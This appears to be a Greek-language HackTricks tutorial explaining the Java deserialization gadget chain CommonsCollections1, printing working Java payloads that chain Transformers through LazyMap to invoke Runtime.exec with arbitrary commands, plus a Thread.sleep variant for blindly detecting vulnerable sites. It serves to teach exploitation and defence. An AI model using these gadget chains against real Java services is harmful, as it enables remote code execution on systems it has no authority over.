CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Μετατροπείς Java σε Rutime exec()

Σε πολλά μέρη μπορείτε να βρείτε ένα payload αποσυναρμολόγησης Java που χρησιμοποιεί μετατροπείς από τις Apache common collections όπως ο παρακάτω:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Εάν δεν γνωρίζετε τίποτα για τα φορτία αποσυναρμολόγησης σε Java, μπορεί να είναι δύσκολο να καταλάβετε γιατί αυτός ο κώδικας θα εκτελέσει έναν υπολογιστή.

Καταρχάς, πρέπει να γνωρίζετε ότι ένας Μετασχηματιστής στην Java είναι κάτι που λαμβάνει μια κλάση και την μετατρέπει σε μια διαφορετική. Επίσης, είναι ενδιαφέρον να γνωρίζετε ότι το φορτίο που εκτελείται εδώ είναι ισοδύναμο με:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Ή ακριβέστερα, αυτό που θα εκτελεστεί στο τέλος θα είναι:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Πώς

Λοιπόν, πώς το πρώτο payload παρουσιάζεται ισοδύναμο με αυτά τα "απλά" one-liners;

Πρώτον, μπορείτε να παρατηρήσετε στο payload ότι δημιουργείται μια αλυσίδα (πίνακας) μετασχηματισμών:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Εάν διαβάσετε τον κώδικα, θα παρατηρήσετε ότι εάν κάπως αλυσίδωσετε τη μετατροπή του πίνακα, μπορείτε να εκτελέσετε αυθαίρετες εντολές.

Λοιπόν, πώς αλυσίδωνονται αυτές οι μετατροπές;

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Στην τελευταία ενότητα του payload μπορείτε να δείτε ότι δημιουργείται ένα αντικείμενο Map. Στη συνέχεια, εκτελείται η συνάρτηση decorate από το LazyMap με το αντικείμενο map και τους αλυσιδωτούς μετασχηματιστές. Από τον παρακάτω κώδικα μπορείτε να δείτε ότι αυτό θα οδηγήσει στην αντιγραφή των αλυσιδωτών μετασχηματιστών μέσα στο χαρακτηριστικό lazyMap.factory.

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Και στη συνέχεια εκτελείται το μεγάλο φινάλε: lazyMap.get("οτιδήποτε");

Αυτός είναι ο κώδικας της συνάρτησης get:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Και αυτός είναι ο κώδικας της συνάρτησης transform

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Λοιπόν, θυμηθείτε ότι μέσα στο εργοστάσιο είχαμε αποθηκεύσει το chainedTransformer και μέσα στη συνάρτηση transform περνάμε από όλους αυτούς τους συνδεδεμένους μετασχηματιστές και εκτελούμε έναν έναν. Το αστείο είναι ότι κάθε μετασχηματιστής χρησιμοποιεί το object ως είσοδο και το object είναι το αποτέλεσμα από τον τελευταίο εκτελεσμένο μετασχηματιστή. Επομένως, όλες οι μετασχηματίσεις εκτελούνται αλυσιδωτά εκτελώντας το κακόβουλο φορτίο.

Περίληψη

Στο τέλος, λόγω του τρόπου που το lazyMap διαχειρίζεται τους αλυσιδωτούς μετασχηματιστές μέσα στη μέθοδο get, είναι σαν να εκτελούμε τον παρακάτω κώδικα:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Σημείωση πώς η value είναι η είσοδος κάθε μετασχηματισμού και η έξοδος του προηγούμενου μετασχηματισμού, επιτρέποντας την εκτέλεση ενός μόνο εντολιογράμματος:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Να σημειωθεί ότι εδώ εξηγήθηκαν οι gadgets που χρησιμοποιούνται για το payload ComonsCollections1. Αλλά δεν αναφέρεται πώς ξεκινά η εκτέλεση όλου αυτού. Μπορείτε να δείτε εδώ ότι το ysoserial, για να εκτελέσει αυτό το payload, χρησιμοποιεί ένα αντικείμενο AnnotationInvocationHandler επειδή όταν αυτό το αντικείμενο αποσειριοποιηθεί, θα καλέσει τη συνάρτηση payload.get() που θα εκτελέσει ολόκληρο το payload.

Καθυστέρηση Νήματος Java

Αυτό το payload μπορεί να είναι χρήσιμο για να εντοπίσετε αν η ιστοσελίδα είναι ευάλωτη, καθώς θα εκτελέσει μια καθυστέρηση αν είναι.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Περισσότερα Gadgets

Μπορείτε να βρείτε περισσότερα gadgets εδώ: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated